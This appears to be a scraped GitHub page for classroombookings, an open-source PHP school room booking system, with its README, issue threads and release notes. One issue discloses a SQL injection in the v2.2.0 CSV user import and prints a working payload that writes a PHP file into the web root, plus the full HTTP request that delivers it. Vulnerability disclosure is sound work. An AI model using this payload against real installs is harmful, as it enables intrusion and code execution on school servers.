classroombookings - open source room booking system for schools.

Overview

classroombookings - open source room booking system for schools.

By Craig A Rodway.

License: AGPLv3 Twitter Follow

This is a web-based room booking system for schools and is designed to be as easy to use as possible. Set up your bookable rooms, day schedule and timetable for the year. Add user accounts, and allow them to make and manage bookings from anywhere.

It is available to download and install yourself or there is a great value hosted service.

It is web-based - PHP and MySQL - and currently uses the CodeIgniter 3 framework.

Documentation

For installation instructions and configuration guide, please read the documentation pages.

Bug Reports & Feature Requests

Please check out GitHub Issues to view existing issues or open a new bug report.

Security

To report any security issues, please email [email protected] instead of using the issue tracker.

Comments
  • Blank page on creating booking

    Blank page on creating booking

    Thanks for such a great system! After updating to 2.6.3 we're having a minor issue when creating bookings, after entering the details in the create booking dialog box and clicking create booking the screen clears and we're just left with the background. Manually refreshing the webpage brings the screen back with the booking completed. This occurs for other users and whether it's a single booking or recurring. It's not a gamestopper though :-)

    Creating the booking: create

    Blank screen create2

    Thanks

    Bug 
    opened by joe90bass 11
  • External requests not working

    External requests not working

    image I am using Hubot and its post request doesn't work because it for some reason doesn't send the data correctly (i think).

    My another problem though is that when I do that post request on index.php/login/submit which is basically a login form action it doesn't open a session on the server side when I do it with curl. I copied the request from dev tools which is used and it works only if I already have an open session in the browser.

    image

    if I have an open session on the server already, it redirects me correctly to the logged in window, otherwise it just redirects me back to the login page.. (renders the login view as content)

    opened by fatcatt013 6
  • v2.3.0-beta.1 - Problem

    v2.3.0-beta.1 - Problem

    When clicking on the Settings or Authentication buttons it delivers a white screen with the message below.

    404 Page Not Found The page you requested was not found.

    URL: http://roombooking.domainname.co.uk/index.php/settings/authentication/ldap http://roombooking.domainname.co.uk/index.php/settings/general

    opened by k9mjl 5
  • hooks for new authentication system

    hooks for new authentication system

    Hello.

    I saw the LDAP authentication and was wondering what would be the template for adding a new type of authentication. I want to load the app as an iframe inside an existing one (I would prefer to integrate it better, but codeIgniter apps don't really lend themselves to this) and I would really like to reuse existing authentication.

    To me this means on one side adding to index.php my authentication check (so it can't be loaded without the parent frame's authentication) and on another to call the user details and logged in status from my own.

    I have been taking a loot at it but I can't figure out the current order of events that I would need to catch or how to create a new type of authentication that doesn't rely on a local user table at all (my user table is in a different database, and all information relevant to the user lives in the cookie).

    Any help or guidance? What are the least intrusive modifications I could do to take over user authentication check and user tokens and ID.

    opened by eduo 4
  • iCal for users/rooms

    iCal for users/rooms

    iCal for rooms and users' bookings. Might be useful for people wanting to have their bookings showing in their own Outlook/Email calendar.

    /ical/room/ict1 - all entries in this room. /ical/room/ict1/timetable - timetable bookings /ical/room/ict1/single - single bookings

    /ical/user/jsmith - all bookings for this user /ical/user/jsmith/timetable - timetable bookings /ical/user/jsmith/single - single bookings

    Feature Parked 
    opened by craigrodway 4
  • Enable Multiple Selection doesn't seem to work

    Enable Multiple Selection doesn't seem to work

    Hi Craig

    Thank you once again for creating such an incredibly useful system. Thank you for your hard work on this new version. Added features look great.

    I was testing a couple of things and it has come to my attention that "Enable Multiple Selection" when checked by a "Teacher", it says bookings were created but the cells are not blocked. Tried to book multiple slots. image

    It says three bookings were created but it doesn't block those slots. image

    It does show 3 bookings on the dashboard as well image

    Users image

    Am I missing something here?

    Bug 
    opened by headofcomputing 3
  • Develop version 2.6 - Cannot make multiple recurring bookings

    Develop version 2.6 - Cannot make multiple recurring bookings

    Hi and thanks for your useful project. I'm testing develop release 2.6.2 and i noticed that i cannot make a recursive booking on multiple selections.

    1. I pick "Enable multiple selection".
    2. In the dialog i select "Recurring bookings every week ..."
    3. No matter which option i select in the date range "Starting From..." <-> "Until" but clicking "next" doesn't have effect.

    I attach screenshots. Thanks.

    multiple single

    Not an issue 
    opened by C4rl1tos 3
  • Ability to hide weekends

    Ability to hide weekends

    As a school we are only open Monday to Friday - could we have the ability to hide Saturday/Sunday?

    Teachers sometimes get confused when they click 'next day' and get told there are 'no periods configured' etc.

    Feature 
    opened by summmat 3
  • Bulk Bookings

    Bulk Bookings

    After running through the process of making a recurring booking, after hitting the 'create bookings' button, I have to refresh the blank page in order to return to the booking calendar, is this being seen on other installs?

    opened by k9mjl 2
  • Classbooking v2.2.0 has SQL injection

    Classbooking v2.2.0 has SQL injection

    After the administrator logs in, when adding a new user, choose to import the csv file, and there is SQL injection in the csv file username.

    image

    The csv file is as follows: test'/**/union/**/select/**/'<?php phpinfo(); ?>'/**/into/**/outfile/**/'C:\\phpstudy_pro\\WWW\\hcms\\info.php'#, test, test, [email protected], test1234

    If mysql has writable permissions,this csv file will create a new phpinfo file in the website directory.

    the POST file is:

    POST /hcms/index.php/users/import HTTP/1.1
    Host: 192.168.31.120
    Content-Length: 825
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.31.120
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzClKDALsrTEKS6TB
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.31.120/hcms/index.php/users/import
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: crbs=tr55skb4jdshkp7vcpb7q4i0pbd2te46
    Connection: close
    
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="action"
    
    import
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="userfile"; filename="1.csv"
    Content-Type: application/vnd.ms-excel
    
    test'/**/union/**/select/**/'<?php phpinfo(); ?>'/**/into/**/outfile/**/'C:\\phpstudy_pro\\WWW\\hcms\\info.php'#, test, test, [email protected], test1234
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="password"
    
    
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="authlevel"
    
    2
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="enabled"
    
    0
    ------WebKitFormBoundaryzClKDALsrTEKS6TB
    Content-Disposition: form-data; name="enabled"
    
    1
    ------WebKitFormBoundaryzClKDALsrTEKS6TB--
    
    

    image

    image

    Security 
    opened by hakuQAQ 2
  • Make booking notes character limit editable in settings

    Make booking notes character limit editable in settings

    Hey Craig,

    First of all: thank you for making this great tool. In addition to being a classroom booking tool, it is also great for managing available spaces during the COVID epidemic.

    A small note from my side: Even in a very narrow browser window, The Workspace view button remains at 50% screen width and allows ample space for Names and notes, however by default a 15 character limit is hardcoded into bookings_model.php: $cell['body'] .= '<span title="'.$notes.'">'.character_limiter($notes, 15).'</span>';

    This limit seems rather low for the amount of horizontal space that is available in the 'room' field and that's without considering the ample vertical space for adding a second line of text. For our use case I simply increased the manual limit in bookings_model.php but am aware that this will need to be corrected after any future update to the code.

    I think it would be helpful to expose the character limit value in the application settings, or at least increase the hardcoded limit as it currently seems unnecessarily low.

    Thanks again for a great tool!

    opened by abramscheulderman 2
  • Installation issue using Nginx web server

    Installation issue using Nginx web server

    running ubuntu server 22.04 in vm, installed all the required packages as instructed in documentation. but somehow the index.php wont run unless the web server is apache. is this an issue of CRBS or my Nginx config?

    the vm is running below: Ubuntu Server 22.04 Nginx 1.23.2 PHP7.3 MariaDB 10.6.11

    and i am trying to install CRBS ver2.6.4

    opened by oweeya 0
  • Eliminate double bookings problem

    Eliminate double bookings problem

    Hi, I ran into another problem. Conflict checking is done on a periodic basis only. If a period is entered in hours that contain each other, it does not see it as a conflict. It allows me to choose the same instructor and room for periods starting at 09:30 and 10:00.

    image

    image

    opened by ozanarabaci 0
  • Preview recurring bookings - not working

    Preview recurring bookings - not working

    Preview button is not working. If I select "end of session" in the "Until..." section, it works, if I choose something else, the button becomes useless. Is it just me having this problem?

    XAMPP installed on Windows Thank you

    Bug 
    opened by ozanarabaci 2
  • feat(login): increased max_length of password to 50

    feat(login): increased max_length of password to 50

    Using a password manager I had issues when copy pasting a password which exceeded the maxlength of 20 of the password field. That's why I made this pull request which increases the length of the field to 50 chars.

    opened by visibilityspots 0
  • Feature request:  Email bookings

    Feature request: Email bookings

    Since we have the option to record an email address when creating accounts it would be a nice feature to be able to configure email client settings so that you have the ability to email out bookings and cancellations when made by users of the system.

    opened by Braveheart1326 4
  • Security Fixes

    Security Fixes

    Hi! Me and my partner test your project for a subject of security in college and found a couple of vulnerabilities in the booking process and in the user profile editing, so we decided to make some corrections.

    We hope you find this helpful. Greetings from Argentina!

    opened by CEBracco 0
Releases(v2.6.4)
  • v2.6.4(Jul 22, 2022)

  • v2.6.3(Jun 29, 2022)

  • v2.6.2(Jun 29, 2022)

  • v2.6.1(Jun 29, 2022)

  • v2.6.0(Jun 29, 2022)

    Full Changelog: https://github.com/craigrodway/classroombookings/compare/v2.5.0...v2.6.0

    Added

    • Sessions feature, to replace Academic Years. Create as many as you need and switch between them.
    • Settings: Option to set timezone.
    • Users page: Search filter.
    • Dashboard: improved interface for teacher users.
    • Bookings: Multiple selection mode.
    • Bookings: Preview recurring bookings.
    • Bookings: View detailed information for bookings.
    • Bookings: View reasons when rooms/periods are unavailable.
    • Bookings: Edit or Cancel individual instances of recurring bookings.
    • Bookings: Ability for users to switch between Sessions.

    Changed

    • Bookings section overhauled with many new features.
    • Timetable Weeks: these are now configured within each Session.
    • Holidays: These are now configured within each Session.
    • Timetable Weeks: improved colour picker widget.

    Fixed

    • Timetable weeks: now have a default colour, instead of none at all.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.6.0.zip(1.10 MB)
  • v2.5.0(Jan 29, 2022)

    Added

    • Room Access Control feature - set visibility of each room to specific Users or Departments.

    Changed

    • Updated sizing for Date Picker widget.
    • Added cache-busting query strings to JS/CSS assets.

    Fixed

    • Issue with loading override language entries from database.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.5.0.zip(1005.19 KB)
  • v2.4.1(Dec 9, 2020)

  • v2.3.2(Dec 9, 2020)

  • v2.3.1(Dec 9, 2020)

  • v2.4.0(Dec 9, 2020)

    Added

    • Support for setting a custom message to appear on the login page.
    • Support for controlling the visibility of booking user details to other users.

    Changed

    • Improvements for back/next navigation between days; will now skip days that don't have any periods.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.4.0.zip(990.84 KB)
  • v2.3.0(Dec 9, 2020)

    Added

    • Support for LDAP authentication.
    • Support for language line overrides in the database.

    Changed

    • General javascript tidy-up and library updates.
    • New style of room information popup on Bookings pgae.

    Fixed

    • Removed erroneous debugging output from Weeks model.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.3.0.zip(988.68 KB)
  • v2.3.0-beta.2(Jun 27, 2020)

    ⚠ This is a beta release which mainly contains updates to the experimental support for LDAP authentication.

    Please follow the usual steps for updating your installation to the latest version (you must replace your application and assets folders - i.e. delete existing ones and add the new ones).

    Then head to the 'Authentication' page at the bottom of the dashboard to get started.

    Please report any issues on GitHub, Twitter or Facebook. Thanks! 🙌

    Notable changes in this release:

    beta.1

    • LDAP authentication support.
    • Updated system-wide javascript libraries: removed legacy code and added Unpoly.
    • New sidebar drawer for displaying room info.
    • Updated CodeIgniter framework to 3.1.11 (and a patch to work around some DB config changes).

    beta.2

    • LDAP authentication: added configurable field for Bind DN Format (which replaces 'User attribute') so you can specify exactly how the bind is made.
    • LDAP testing: show the actual LDAP bind error when unsuccessful.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.3.0-beta.2.zip(986.08 KB)
  • v2.3.0-beta.1(Jun 24, 2020)

    ⚠ This is a beta release which mainly contains experimental support for LDAP authentication.

    Please follow the usual steps for updating your installation to the latest version (replace application and assets folders), then head to the 'Authentication' page at the bottom of the dashboard to get started.

    Please report any issues on GitHub, Twitter or Facebook. Thanks! 🙌

    Notable changes in this release:

    • LDAP authentication support.
    • Updated system-wide javascript libraries: removed legacy code and added Unpoly.
    • New sidebar drawer for displaying room info.
    • Updated CodeIgniter framework to 3.1.11 (and a patch to work around some DB config changes).
    Source code(tar.gz)
    Source code(zip)
    crbs-2.3.0-beta.1.zip(985.81 KB)
  • v2.2.0(Jun 6, 2020)

    Added

    • New settings page for additional settings.
    • New setting for 'maximum active bookings': specify how many active bookings a user can have at one time.
    • Date and Time display formats on Bookings page can now be customised.
    • License details.

    Changed

    • Updated icons to better quality PNG format.

    Fixed

    • Issue where bookings on Sundays were not being displayed.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.2.0.zip(999.20 KB)
  • v2.1.3(Jun 6, 2020)

  • v2.1.2(Dec 3, 2019)

  • v2.1.1(Dec 2, 2019)

  • v2.1.0(Nov 13, 2019)

    Introducing the new 'Maintenance Mode' feature.

    When eabled, Maintenance Mode prevents Teacher user accounts from viewing and making changes to bookings. The message can be customised, and will be displayed at the top of all pages.

    Added

    • Added a new section to the School Details settings page to manage Maintenance Mode.

    Fixed

    • Fixed an issue with one of the database migrations that might occur when updating from a pervious version.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.1.0.zip(1.08 MB)
  • v2.0.5(Oct 1, 2019)

    Another update to "existing booking" check and minor tweaks.

    Changed

    • Updated "Existing Bookings" check to make sure the Weekday was properly included.
    • Updated the 'Recurring' section of the 'Make a booking' page to default the weekday value to the weekday of the chosen date.
    • Updated 'Add week' page to have a default contrasting background colour.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.0.5.zip(1.08 MB)
  • v2.0.4(Aug 31, 2019)

  • v2.0.3(Aug 31, 2019)

  • v2.0.2(Jun 19, 2019)

  • v2.0.1(Jan 26, 2019)

    Minor fix to day settings for periods and addition of favicon.

    Added

    • Favicon to help classroombookings stand out in tabs and windows.

    Changed

    • Fixed an issue relating to possible issues with period days being shifted by one if upgraded from v1 to v2.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.0.1.zip(1.08 MB)
  • v2.0.0(Jan 2, 2019)

    The big one! Major update to support modern PHP, plus other major updates.

    Added

    • PHP Requirement for minimum version 5.5, and support for 7.x.
    • Use Composer for dependencies.
    • Database migrations.
    • New installer.
    • New upgrader for v1 => v2.

    Changed

    • Updated CodeIgniter framework to version 3.
    • Updated all class files for compatibility with CodeIgniter 3.
    • Updated folder structure and configuration file methods.
    • Security updates for HTML escaping.
    • Fixed various bugs.
    • Bitmask library for period/lesson time days.

    Removed

    • Header image colour generation.
    Source code(tar.gz)
    Source code(zip)
    crbs-2.0.0.zip(1.07 MB)
  • v1.0.7(Dec 30, 2018)

  • v1.0.6(Dec 30, 2018)

    • Bug: Fixed issue where a holiday during the week would stop the whole week from being viewed. The page will now display the booking view as expected, but the periods that land on holiday days will be marked as such, and can not be booked.
    Source code(tar.gz)
    Source code(zip)
  • v1.0.5(Dec 30, 2018)

  • v1.0.4(Dec 30, 2018)

  • v1.0.3(Dec 30, 2018)

    • Bug: Install script would fail to insert initial entries into database under some environments.
    • Bug: "Booking in advance" problem when 0 (unlimited) was used.
    • Feature: Email field can now be empty.
    Source code(tar.gz)
    Source code(zip)
  • v1.0.2(Dec 30, 2018)

    Fixed: A bug has been reported that prevented periods configured on Sundays from being detected on the booking page when using the day-at-a-time booking display setting. This was caused by a misinterpretation of numeric values that are mapped to weekdays.

    Source code(tar.gz)
    Source code(zip)
Owner
Craig A Rodway
Web Developer
Craig A Rodway
Bus ticket booking management system

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experie

Tasnim Farah 2 Jul 8, 2022
Rinvex Bookable is a generic resource booking system for Laravel, with the required tools to run your SAAS like services efficiently

Rinvex Bookings is a generic resource booking system for Laravel, with the required tools to run your SAAS like services efficiently. It has a simple architecture, with powerful underlying to afford solid platform for your business.

Rinvex 435 Jan 5, 2023
Hotel & Booking Reservation Ecommerce system on Prestashop

QloApps - An open source and free platform to launch your own hotel booking website Topics Introduction Requirements Installation & Configuration Lice

Webkul 570 Jan 3, 2023
An Online Movie Booking Website whose data is completely from a database

An Online Movie Booking Website whose data is completely from a database to ensure that it can be implemented in a real time scenario as any change of data needs to be done only in the database using SQL queries and the changes are immediately reflected.

Arunachalam M 7 Apr 13, 2022
Ocean Era Resort Booking Website

Ocean Era Resort Booking Website(College Mini Project) DBMS College Project Landing Page Landing Page (contd) Admin Login ?? Steps to Configure This P

Amal Prasad 1 Jan 22, 2022
📛 An open source status page system for everyone.

Cachet is a beautiful and powerful open source status page system. Overview List your service components Report incidents Customise the look of your s

Cachet 13k Jan 3, 2023
Admidio is a free open source user management system for websites of organizations and groups

Admidio is a free open source user management system for websites of organizations and groups. The system has a flexible role model so that it’s possible to reflect the structure and permissions of your organization.

Admidio 214 Jan 1, 2023
Powerful, yet easy to use, open-source online ordering, table reservation and management system for restaurants

TastyIgniter provides a professional and reliable platform for restaurants wanting to offer online food ordering and table reservation to their custom

TastyIgniter 2.4k Dec 27, 2022
Snipe-IT - A free open source IT asset/license management system

Snipe-IT - A free open source IT asset/license management system

snipe 7.2k Jan 4, 2023
Open Source Voucher Management System is a web application for manage voucher. used PHP with Laravel Framework and use MySQL for Database.

Voucher Management System is a web application for manage voucher. You can create and manage your voucher. Voucher Management System is used PHP with Laravel Framework and use MySQL for Database.

Artha Nugraha Jonar 34 Sep 17, 2022
A free and open-source Laravel 5.5 and VueJS (SPA) Ticket system

Ticket-conductor A Laravel 5.5 and VueJS (SPA) Ticket system app (This project was mostly for myself to learn Vue Js a bit better, and will not be mai

Casper Bottelet 51 Dec 17, 2022
Cachet is a beautiful and powerful open source status page system.

Cachet is a beautiful and powerful open source status page system. Overview List your service components Report incidents Customise the look of your s

Cachet 12.5k Dec 5, 2021
Faveo Open source ticketing system build on Laravel framework

______ _ _ _ _ _ | ____| | | | | | | | |

Ladybird Web Solution 987 Dec 26, 2022
A free and open-source accounting and production system for businesses and non-profits with support for multiple users and varied integrations

A free and open-source accounting and production system for businesses and non-profits with support for multiple users and varied integrations.

null 3 Sep 22, 2022
A complete open source hotel management system built with Laravel Framework.

Hotelio : Hotel Management System Hotelio is a open source hotel management system that manages your hotel operations, smoothly, effortless. Hotelio i

Mehedi Jaman 10 Dec 6, 2022
Open-source helpdesk ticketing system

Introduction Open-source helpdesk ticketing system No more confusing interfaces and operations! With Tickotty, you can quickly deal with support reque

Luceat 12 Oct 1, 2022
Create Your Own Broadcast Network With AVideo Platform Open-Source. OAVP OVP

Audio Video Platform AVideo is a term that means absolutely nothing, or anything video. Since it doesn't mean anything the brand simply is identifiabl

World Wide Broadcast Network 1.7k Jan 8, 2023
Emoncms is an open-source web application for processing, logging and visualising energy, temperature and other environmental data and is part of the OpenEnergyMonitor project.

Emoncms is an open-source web application for processing, logging and visualising energy, temperature and other environmental data and is part of the OpenEnergyMonitor project.

Emoncms 1.1k Dec 22, 2022
Mibew Messenger - open-source live support application written in PHP and MySQL

Mibew Messenger is an open-source live support application written in PHP and MySQL. It enables one-on-one chat assistance in real-time directly from your website.

Mibew Messenger 443 Dec 13, 2022